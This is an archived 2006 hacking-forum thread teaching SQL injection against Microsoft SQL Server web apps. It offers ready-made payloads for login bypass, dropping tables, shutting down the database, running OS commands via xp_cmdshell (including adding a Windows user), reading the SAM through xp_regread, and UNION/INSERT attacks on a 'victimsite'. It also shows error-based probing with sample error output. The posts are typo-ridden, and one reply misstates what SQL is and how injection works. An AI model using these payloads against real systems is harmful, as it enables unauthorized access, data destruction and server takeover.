Critical Security.NET: Basics Of Sql-injections. - Critical Security.NET

Jump to content

  • (2 Pages)
  • +
  • 1
  • 2
  • You cannot start a new topic
  • This topic is locked

Basics Of Sql-injections.

#1 User is offline   hackuin60s Icon

  • Posting Superpower
  • PipPipPipPipPipPipPip
  • Group: Members
  • Posts: 1,300
  • Joined: 09-November 05
  • Gender:Male
  • Location:/home/hackuin

Posted 01 July 2006 - 08:29 PM

Basics of SQL-Injections.

Web Applications relay on dynamic content to achieve the appeal of traditional desktop windowing programss. This dynamism is typically achieved by retrieving updated data from a database. One of the more popular platforms for web datastores is SQL, and many web applications are based entirely on front-end scripts that simply query an SQL database, either on the web server itself or a spearate back-end system. One of the most insidious attacks on a web application involves hijacking the queries used by the front-end scripts themselves to attain control of the application or its data. One of the most efficient mechanisms for achieving this is a technique called SQL-Injection.

SQL-Injection refers to inputting raw Transact SQL queries into an application to perform an unexpected action. Often, existing queries are simply edited to achieve the same results-- Transact SQL is easily mnipulated by the placement of even a single character in a judiciously chosen spot, causing the entire query to behave in quite malicious ways. Some of the characters commonly used for such input validation attacks include the backtick ( ` ), the double dash ( -- ). and the semicolon ( ; ), all of which have special meaning in transact SQL.

What sorts of things can crafty hacker do with a usurped SQL query> Well, for starters, thy could potentially access unauthorized data. With even sneakier techniquies, they can bypass authentication or even gain complete control over the web server or back-end SQL system. Let's tak alook at what's possible.

Examples:

ByPassing Authentication

To authenticate without any credentials we can use,
Username : ' OR '='
Password : ' OR '='


To authenticate with just the username.
Username : admin'--


To authenticate as the first user in the users table.
Username : ' or 1=1--


To authenticate as fictional user
Username : ' union select 1, 'user', 'passwd' 1 --


Causing Destruction

To drop a database table
Username : ';drop table users--


To shut down the database remotely
Username:hackuin60shackuin60s'
Password : '; shutdown--


Executing Function Calls and Stored Procedures

Executing xp_cmdshell to get a directory listing we can use
http://localhost/script?0';EXEC+master..xp_cmdshell+'dir';--


Executing xp_servicecontorl to manipulate services
http://localhost/script?0';EXEC+master..xp_servicecontrol+'start',+'server';--
.

Description of SQL-Injection's.

Thank's to LaTozu, for suggestion for my previous post. As that was the just the basic's informaion of the SQL-Injection's. Now Let use Discuss in details of the SQL-Injection's.

Hackers Don't do thing's different, They do it Differently !! -- by hackuin60s!!

First we would understand the actull interaction between web server and database.
Web server Understand's only HTTP protocol,where as database understand's only specific language: SQL.

When a user logs in to site, the application require's two pieces of information.

> Username
> Password

The application takes this two pieces of information and creat's a SQL statement that will collect some type of information from the database. well, till now web-Server have performed action. Then after this action webserver will connect's to the database. This connection might be established once and maintained for along time, or established each time the two servers need to communicate. Either way, the Web server uses its own username and password to authenticate to the database.

So the authentication page on which user provide's information about username and password will pass the user credentials in as a SQL statement to the database. The database accepts the statement, executes it, then responds with something like " the username and password match" or " username not found. " It is upto authentication page to handle the response from the database.

If ypu are really serious of performing SQL-Injection's, Ask your self this question's.

> Can i pass raw ODBC
> Can i generate a database error in the application's
> I know error pages and error handlers inform me problems, does it provide me system information, variables or any other data

> I know string concatenation is the base of a secure SQL statement's, Can i manipulate the statement with tick mark's
>Does application running in a high-privilege situation, user account that webserver use's have read and write functionality can i write to Master database or perform backup duties

> Does HTML provide's me any information like table names, column names or SQL structures
> Can i manipulate the invalid input to determine the structure of the SQL statement
> Can i perform a combination of character's that execute proplerly
> Can i gather information about the application's database via SQL queries
> can i gather information about the system via SQL queries


Note:

> User-defined stored procedures are more difficult to break with SQL injection. They require a specific number of parameters in specific places in a specific format.


SQL Formatting Character's:

' Terminates a statement. Usaully used to delimit varibales within the query.
-- Single line comment. Ignores the remainder of the statement.
+ Space. required to correctly format a statement.
,@variable Appends variables. Helps identify stored procedures.
?Param1=dame&Param1=good Creates "Param=dame,good". Helps identify stored procedures.
@@variable Calls an internal server variable.
PRINT Returns an ODBC error, but does not target data.
SET Assigns variables. Useful for multiline SQL statements.
% A wildcard that matches any string of zero or more characters.


Know Let us get to expample's.

Let us try to generate error on this web page.

http://www.somesite....e.asp?motoId=30'

> Above we has used delimit character ( tick mark) with out delimiting it, i mean with out closing tick mark and here is the output on the page:
Microsoft OLE DB Provider for ODBC Drivers ( 0x123453D8)
[Microsoft] [ODBC SQL Server Driver] [SQL Server] Unclosed quotation mark before the character string ', @UserID=143'.
/somewhere.asp, line 9


> Actully above we have made a query with unclosed quotation mark.And our output provides us field name and the specific UserID we have been assigned. Umm @UserID is nothing but a part of parameter list which usually used in stored procedure.

Let us try with --comment.

http://www.somesite....e.asp?motoId=30--

And here is the output on the page:
Microsoft OLE DB Provider for ODBC Drivers ( 0x123453D8)
[Microsoft] [ODBC SQL Server Driver] [SQL Server]Procedure 'rightmoto2' excepts parameter '@UserID', which was not supplied.
/somewhere.asp, line 9

> That was intresting, actully above we are using double-dash to force SQL to process the remainder of the query as a comment. That mean's our data has passed through the stored procedure name rightmoto2, now please read the note above. Yes, we cannot rewrite the procedure's parameter list, even if we have UserID=150 is admin's( for example). Any way we need to try right!

http://www.somesite....e.asp?motoId=30,@UserID=150--

And here is the output on the page:
Microsoft VBScript runtime ( 0x400D984C ).
Type mismatch: '[string: "30,@UserID=150--"]'
/somewhere.asp, line 111


Opp's we are out of ODBC. We are in VBScript realm.

> Let us try without double-dash.

http://www.somesite....e.asp?motoID=30,@UserID=150

And here is the output:
Microsoft OLE DB Provider for ODBC Drivers ( 0x123453D8)
[Microsoft] [ODBC SQL Server Driver] [SQL Server]Procedure or function rightmoto2 has too many rguments specified.
/somewhere.asp, line 9

Ok,Ok.... enough error generators!!

Let see what happen's with PRINT command.

http://www.somesite....e.asp?motoID=30+PRINT

Here is the output:
Microsoft OLE DB Provider for ODBC Drivers ( 0x123453D8)
[Microsoft] [ODBC SQL Server Driver] [SQL Server] Line 1: Incorrect syntax near ','.


> Actully we passed the PRINT command through the asp to the database. Have we created just error??
> For clarification let's misspel PRINT command.

http://www.somesite....e.asp?motoID=30+PRIN

Here is the output:
Microsoft OLE DB Provider for ODBC Drivers ( 0x123453D8)
[Microsoft] [ODBC SQL Server Driver] [SQL Server] Line 1: Incorrect syntax near 'PRIN'.

nothing new just error again instead this time same syntax near PRIN, But soo after analyising the both the output we can see that in second out it say's "Incorect syntax at PRIN" But, at first input although we specified right command its tell " Incorrect syntax at ,(comma).what's that -- Nothing but succuss yeah because that comma indicates database accepted the PRINT statement, but was expecting something to print ( or some argument for a stored procedure). So ??

> Let query something related to database like microsoftversion.

http://somesite.com/...e.asp?motoID=30+PRINT+@@microsoftversion

Here is the output:


:D nothing happend.. ????
As @@microsoftversion is default MS SQL Server Variable, let us use some variable which doesn't exit's.

http://somesite.com/...e.asp?motoID=30+PRINT+@@L33TH4CK3R

Here is the output:
Microsoft OLE DB Provider for ODBC Drivers ( 0x123453D8)
[Microsoft] [ODBC SQL Server Driver] [SQL Server] Must declare the variable '@@L33TH4CK3R'.


Soo from this out we can say that our first ( @@microsoftvirson ) query was successfull but our application does not know to show the results. Because all it expect's to do is receive data from the rightmoto2 stored procedure.

> Default MS SQL Server variables.
@@connections		
@@max_connections
@@servicename
@@cpu_busy		
@@max_precision		
@@spid
@@cursor_row	
@@microsoftversion	
@@textsize
@@dbts
@@nestlevel
@@timeticks
@@error			
@@options		
@@total_errors
@@fetch_status		
@@pack_received		
@@toto_read
@@identity		
@@pack_sent		
@@total_write
@@idle			
@@packet_errors		
@@trancount
@@io_busy
@@procid
@@version
@@langid
@@rowcount
@@language
@@servername



> SQL has a predefined list of keywords, or tokens, which has a special meanings.
> If you want to select data from a table, you use SELECT statement.
> Commonly used token's are SELECT, FROM, and WHERE.


Note:

A SQL injection can extend the query in order to retrive alternate information or generate an alway's true condition.

' OR 1=1 --'

Simple,

When a user log in with name say "h4hack" and password ummm say "d4dead", then query would be like
SELECT userid FROM login WHERE name='h4hack' AND password='d4dead'

Soo until and unless the state ments results in true the user cannot login. I mean until and unless the database query matches the entry the user cannot login.

when a user in put ' OR 1=1 --' in the field's. The query would be like
SELECT userid FROM login WHERE name='h4hack' AND password='d4dead' OR 1=1

Obeviously 1 is alway's equal to 1. and the condition is true. And you are in :D


Default system table or local tables.


1) syscolumns All column names and stored procedures for the current database, not just the master.
2) sysobjects, Every object ( such as stored procedures ) in the database.
3) sysusers, All of the users who can manipulate the database.
4) sysfiles, The file name and path for the ucrrent database and its log file.
5) systypes, Data types defined by SQL or new types defined by users.


> Usually we can request to cetain tables for example

SELECT * FROM sysusers

and

SELECT name  FROM sysobjects WHERE type = 'P'

Here we have made a request query for sysusers and to certan field called stored procedures ( P ).

Default Master Tables

1) sysconfigures, Current database configuration settings.
2) sysdevices, Enumerates devices used for databases, logs, and temporary files.
3) syslogins, Enumerates user information for each user permitted to access the database.
4) sysremotelogins, Enumerates user informaion for each user permitted to remotely access the database or its stored procedures.
5) sysservers, Lists all peers that the server can access an OLE database server.


These tables provide detailed information on the operating system and database configurations. A SELECT from of these tables usually requires the "master.." indication:

SELECT * FROM master..sysremotelogins


Stored Procedures


1) sp_columns <table>
Most importantly, returns the coluimn names of a table.

2) sp_configure [name]
Returns internal database settings. Specify a perticular setting to retrieve just that value-- for example sp_configure ' remote query timeout(s)'.

3) sp_dboption
Views ( or sets ) user-configurable database options.

4) sp_depend <object>
Lists the tables associated with a stored procedure.

5) sp_helptext <object>
Describes the object. This is more useful for identifying areas where you can execute stored procedures. It rarely executes successfully.

5) sp_helpextendedproc
Lists all extended stored procedures.

6) sp_spaceused [object]
With no parameters, returns the database name(s), size, and unallocated space. If an object is specified it will describe the rows and other information as appropriate

7) sp_who2[username]
Far supeior to its anumeric cousin. It displays usernames, the host form which they've connected, the application used to connect to the database, the current command executed in the database, and several other pieces of information. Both procedures accept an otional username. This is an excellent way to enumerate a SQL database's users as opposed to application users.


Extended Stored Procedures

> Extend stored Procedures are used to execute the command's, usually with prefix of "xp_". Depending on the injection vector, you may not always be able to execute SQL statements that require a parameter.



> Windows 2000 enables syskey enabled by default. we can use the extended stored procedure like, xp_regread to grab the SAM file.

Extended stored Procedures list


1) xp_loginconfig
Displays login information, particularly the login mode(mixed, etc.) and default login.

2) xp_logininfo
Shows currently logged in accounts. Only applies to NTLM acounts

3) xp_msver
Lists SQL version and platform information.

4) xp_enumdsn
Enumerates ODBC data sources.

5) xp_enumgroups
Enumerates windows groups

6) xp_ntsec_enumdomains
Enumerates domains present on the network.

7) xp_cmdshell<command>
The equivalent of cmd.exe -- in other words, full command-line access to the database server. Cmd.exe is assumed, so you would only need to enter 'dir' to obtain a directory listing. The default current directory is the %SYSTEMROOT%\System32.

8) xp_regread<rootkey>,<key>,<value>
Reads a regostru va;ie from the Hive.

9) xp_reg*
There are several other registry-related procedures. Reading a value is the most usefull.

10) xp_serviccontrol<action>
STARTs or STOPs a windows service.

11) xp_terminate_process<PID>,<service>
Kills a process based on its process ID.

Hope it has given you Idea about how, when SQL-Injection's are implemented.
Thank You.
Remember you need allot of effort to get that work as you wanted try, try and try.
A man never fail's until and unless he stop's trying. :D

~hackuin60s!!
0

#2 User is offline   Trojan_CoW Icon

  • Member
  • PipPip
  • Group: Members
  • Posts: 19
  • Joined: 07-June 06

Posted 02 July 2006 - 02:54 PM

nice article. basic knowledge and understanding.
0

#3 User is offline   Trojan_CoW Icon

  • Member
  • PipPip
  • Group: Members
  • Posts: 19
  • Joined: 07-June 06

Posted 03 July 2006 - 08:45 PM

here are some links for the advanced techniques
http://www.owasp.org
http://www.spidynami...QLInjection.pdf
http://www.nextgenss...l_injection.pdf
let see the example
' exec master..xp_cmdshell 'net user test testpass /ADD' --

with the above command the user can able to execute and add into the database

you can use the following list of stored procedures and extended stored procedures...
sp_sdidebug
xp_availablemedia
xp_cmdshell
xp_deletemail
xp_dirtree
xp_dropwebtask
xp_dsninfo
xp_enumdsn
xp_enumerrorlogs
xp_enumgroups
xp_enumqueuedtasks
xp_eventlog
xp_findnextmsg
xp_fixeddrives
xp_getfiledetails
xp_getnetname
xp_grantlogin
xp_logevent
xp_loginconfig
xp_logininfo
xp_makewebtask
xp_msver
xp_regread
xp_perfend
xp_perfmonitor
xp_perfsample
xp_perfstart
xp_readerrorlog
xp_readmail
xp_revokelogin
xp_runwebtask
xp_schedulersignal
xp_sendmail
xp_servicecontrol
xp_snmp_getstate
xp_snmp_raisetrap
xp_sprintf
xp_sqlinventory
xp_sqlregister
xp_sqltrace
xp_sscanf
xp_startmail
xp_stopmail
xp_subdirs
xp_unc_to_drive
xp_dirtree

its upto you !!!!
how to utilize those Xclusive Xplosives...
checkout if the site has blocked access to TCP 1433 and UDP 1434 from all un-trusted clients

below are some combinations for injecting
admin'-- 		' or 0=0 --	  " or 0=0 -- 		or 0=0 -- 

' or 0=0 # 		" or 0=0 # 		or 0=0 # 		' or 'x'='x 

" or "x"="x 		') or ('x'='x 	' or 1=1-- 		" or 1=1-- 

or 1=1-- 		' or a=a-- 		" or "a"="a 		') or ('a'='a 

") or ("a"="a 	hi" or "a"="a 	hi" or 1=1 -- 	hi' or 1=1 -- 

hi' or 'a'='a 	hi') or ('a'='a 	hi") or ("a"="a

here are some example which may help to inject even better
SELECT * FROM customers WHERE name = ‘’ OR 1=1--’ AND password = ‘’
SELECT name, phone, email FROM users WHERE name = ‘’ OR 1337=1337; SELECT * FROM * --‘ AND password = ‘’
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='tablename'--
UNION SELECT TOP 1 table_name FROM column_name--

http://victimsite/index.asp?id=1337 INSERT INTO 'table_name'('login_id','login_name','password') VALUES (1337,name,pass)—

with javascript you can toooooo
java script:alert(document.formnumber.user_data.value="user\',user_pasword=\'H4CK3D\' WHERE user_id=1#");

This post has been edited by Trojan_CoW: 03 July 2006 - 08:55 PM

0

#4 Guest_killerguppy101_*

  • Group: Guests

Posted 04 July 2006 - 01:05 AM

i have yet to see a block statement work in the real world with that ; crap. In order for that to work in most sql implementations, the original statement that you are injecting has to be set up to use block statements with the BEGIN and END commands.

nice job tho, a good read. props to trojan cow for introducing extended strored procedures. xp_cmdshell is deadly! :P

#5

  • Group: Guests

Posted 11 July 2006 - 07:47 PM

perfect sql explanation

#6 User is offline   Hackstock Icon

  • Member
  • PipPip
  • Group: Members
  • Posts: 28
  • Joined: 28-June 06
  • Gender:Male

Posted 13 July 2006 - 06:56 AM

mind if i print this out and give it to some newbie friends? you'll be given proper credit on the document, of course.
0

#7 User is offline   LaoTzu Icon

  • Posting Prodigy
  • PipPipPipPipPipPip
  • Group: Members
  • Posts: 551
  • Joined: 16-October 05
  • Gender:Male
  • Location:root@localhost
  • Interests:Computers, Hacking, Programming, Martial Arts, and your mom

Posted 13 July 2006 - 07:20 AM

While you do have listed several different types of sql injections, there is no real explanation of how they work, it is just another list of things for noobs to try in hope of getting lucky. Your simple explanation is not enough. Go into more detail about what exactly is executed, and why ' or 1=1 will work, ect.
0

#8 User is offline   hackuin60s Icon

  • Posting Superpower
  • PipPipPipPipPipPipPip
  • Group: Members
  • Posts: 1,300
  • Joined: 09-November 05
  • Gender:Male
  • Location:/home/hackuin

Posted 13 July 2006 - 05:33 PM

View PostLaoTzu, on Jul 13 2006, 06:20 AM, said:

While you do have listed several different types of sql injections, there is no real explanation of how they work, it is just another list of things for noobs to try in hope of getting lucky. Your simple explanation is not enough. Go into more detail about what exactly is executed, and why ' or 1=1 will work, ect.

Yes sure LaoTzu.
I will go in detail's ofcoure. As I am quite busy preparing myself for CSPFA exam.
Thank's to geting me know that, i will take my few time on that. Sure!! : )
0

#9 User is offline   doctordan Icon

  • Addicted
  • PipPipPipPipPip
  • Group: Members
  • Posts: 275
  • Joined: 25-March 06

Posted 13 July 2006 - 06:18 PM

LaoTzu.. let me try to help.

The first step in an SQL injection is to assume what the SQL query may look like. Here's basic example of an SQL query:
SELECT * FROM users WHERE username = "docdan"
This query will select all data about the user with a username of "doctordan". The * is a wildcard which is why ALL data (every column of information) is selected. If I changed the statement to this: SELECT password FROM users WHERE username = "docdan"
It would look in the users table for a column named password(other possible columns could be stuff like userID, email, username, etc.), then return the password for doctordan (which I won't share and you probably can't guess). OK now you have a base knowledge. If I did a crappy job explaining, this will help for sure: http://www.w3schools...l/sql_where.asp .

Now for the actual injection. Lets use the common x' or 1=1-- . Now that we know about SQL queries, we can assume what it may look like server side with a login. Let's assume the query looks like this: SELECT password FROM users WHERE username = '[userinput]' . The [userinput] comes from us, the attackers (at the login box). We inject x' or 1=1-- and hit enter. Now the query looks like this: SELECT password FROM users WHERE username = 'x' or 1=1--' . We have created a true statement. 1 always equals 1. The x is irrelevant because 1=1 takes care of all password entries. The database now generally will return every password or the first password found in the users table. The -- simply nullifies the rest of the SQL query. You could write jibberish after the -- and theoretically it shouldn't make a difference. I really hope this helped some people understand. If I didn't make much sense try this link out: http://www.unixwiz.n...-injection.html . The section named "The Target Intranet" is most relevent to what I explained. Please reply to let me know if I helped, and feel free correct me if I made any mistakes.

-Dan

This post has been edited by doctordan: 13 July 2006 - 06:21 PM

0

#10 Guest_NeHmAnAtOr v2_*

  • Group: Guests

Posted 15 July 2006 - 04:34 AM

Wow, very nice article! 10/10. This is proberly the only article that explains why a simple SQL injection works. Nice job.

#11 Guest_21M_*

  • Group: Guests

Posted 16 July 2006 - 10:54 PM

Good work, but I would like to point out that you didn't leave a notice informing people that...

or 1=1--


doesn't work on all database systems. Although it works on mysql, which is the most popular, thus you shouldn't worry too much about choosing one to implement; since most people use it.

#12 User is offline   hackuin60s Icon

  • Posting Superpower
  • PipPipPipPipPipPipPip
  • Group: Members
  • Posts: 1,300
  • Joined: 09-November 05
  • Gender:Male
  • Location:/home/hackuin

Posted 17 July 2006 - 06:10 AM

View Post21M, on Jul 16 2006, 09:54 PM, said:

Good work, but I would like to point out that you didn't leave a notice informing people that...

or 1=1--


doesn't work on all database systems. Although it works on mysql, which is the most popular, thus you shouldn't worry too much about choosing one to implement; since most people use it.

As the Name itself define's, its real basic's idea for sql injection. I am preparing the complete detailed topic of sql injection's i will post it shortly.

Thank's

Edit: appende in my very first post :)

This post has been edited by hackuin60s: 22 July 2006 - 06:09 PM

0

#13 Guest_21M_*

  • Group: Guests

Posted 17 July 2006 - 02:38 PM

View Posthackuin60s, on Jul 17 2006, 06:10 AM, said:

As the Name itself define's, its real basic's idea for sql injection. I am preparing the complete detailed topic of sql injection's i will post it shortly.

Thank's


Np and good luck with your new tutorial.

This post has been edited by 21M: 17 July 2006 - 02:38 PM


#14 Guest_determined06_*

  • Group: Guests

Posted 29 October 2006 - 02:10 AM

another kool teqnique
Posted ImageClick here to see Video

#15 Guest_determined06_*

  • Group: Guests

Posted 29 October 2006 - 02:35 AM

can anyone tell me what he puts in for username at the end?

#16 Guest_sidyom_*

  • Group: Guests

Posted 29 October 2006 - 04:39 AM

you dont need any username, because if you actually understood SQL, you would know that it returns the first person in the database.

#17 Guest_determined06_*

  • Group: Guests

Posted 29 October 2006 - 08:47 PM

can u explain lil bit more?

#18 Guest_sidyom_*

  • Group: Guests

Posted 29 October 2006 - 10:32 PM

ok. SQL (stands for server query language) injection is a string of characters used to confuse the server. when you confuse the server badly enough, the server just goes "WTF? lets just assume its the first entry in the table."
at least thats how i think it works. :freak:

#19 User is offline   Ned Icon

  • Posting Superpower
  • PipPipPipPipPipPipPip
  • Group: Members
  • Posts: 1,052
  • Joined: 06-October 05
  • Gender:Male

Posted 29 October 2006 - 10:44 PM

You seem to misunderstand how SQL injections work. Not to mention that they don't always return the first entry in the table. Here's a definition I suggest you read: http://en.wikipedia....i/Sql_injection Read it through as many times as it takes to understand.
0

#20 User is offline   PHPhreak Icon

  • Posting Superpower
  • PipPipPipPipPipPipPip
  • Group: Members
  • Posts: 1,211
  • Joined: 19-August 06
  • Gender:Male

Posted 29 October 2006 - 10:53 PM

Confuse is a bad word. It's not like you're just doing random shit until the server times out (thats a buffer overflow I think), you're trying to give it very precise commands.
0

  • (2 Pages)
  • +
  • 1
  • 2
  • You cannot start a new topic
  • This topic is locked

1 User(s) are reading this topic
0 members, 1 guests, 0 anonymous users